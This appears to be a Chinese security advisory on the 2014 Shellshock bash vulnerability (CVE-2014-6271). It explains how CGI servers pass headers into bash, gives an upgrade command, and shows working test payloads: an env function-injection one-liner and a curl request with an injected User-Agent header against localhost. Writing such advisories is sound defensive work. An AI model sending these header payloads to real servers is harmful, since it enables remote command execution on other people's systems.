近日爆出CVE-2014-6271 bash远程命令执行漏洞。bash是Linux用户广泛使用的一款用于控制命令提示符工具,导致该漏洞影响范围甚广。同时，当HTTP服务开放CGI服务或其他地方引用bash时可直接导致远程命令执行漏洞。主要影响系统为ubuntu centos debian suse readhat等主流linux操作系统。漏洞危害主要表现在：影响基于bash开放的服务、程序。当网站利用CGI执行bash后可导致攻击者远程执行系统命令，从而可以利用系统命令反弹shell之后进行内网渗透、挂马、篡改主页、脱库等行为。
我们建议修复方式:升级bash，升级命令为：
sudo apt-get update && sudo apt-get install –only-upgrade bash
漏洞分析:
Bash(Bourne Again SHell)中ENV指令
1. ENV指令允许临时改变环境变量，即指定本次指令执行的环境变量，这从一定程度上给了黑客进行PATH Hajaking的可能性
2. ENV指令还允许在设置环境变量后进行指令执行，从某种程度上来说，ENV相当于一个指令执行的指令，同时还附带有临时设置环境变量的功能
ENV的指令执行走的是正常的BASH指令解析、执行流程，而在一个采取了安全配置的服务器上，对敏感指令的执行都是进行用户级别的权限限制的，所以，ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection"，即代码注入
1. httpd
1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源
2) 服务器提供了CGI脚本，当 CGI script被webserver执行的时候，CGI Script会去调用Bash
攻击者可以通过开启了CGI的httpd服务器进行远程代码执行
测试方法:
本地测试
root@kali:~# env x=' { :;}; echo dbapp' bash -c "echo this is a test"
dbapp
this is a test
如果出现这个结果，则说明本机的bash存在漏洞
httpd远程命令执行测试
[root@host cgi-bin]# rm -fr /tmp/aa
[root@host cgi-bin]# cat /var/www/cgi-bin/hi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "dbapp"
[root@host cgi-bin]# curl -k -H 'User-Agent: { :;}; echo aa>/tmp/aa' https://localhost/cgi-bin/hi
dbapp
[root@host cgi-bin]# tail -n1 /var/log/httpd/ssl_access_log
::1 – - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" " { :;}; echo aa>/tmp/aa"
[root@host cgi-bin]# ls -l /tmp/aa
-rw-r–r–. 1 apache apache 3 24 sept. 18:22 /tmp/aa
[root@host cgi-bin]# sestatus
SELinux status: enabled
来源：
http://security.zdnet.com.cn/security_zone/2014/0928/3035204.shtml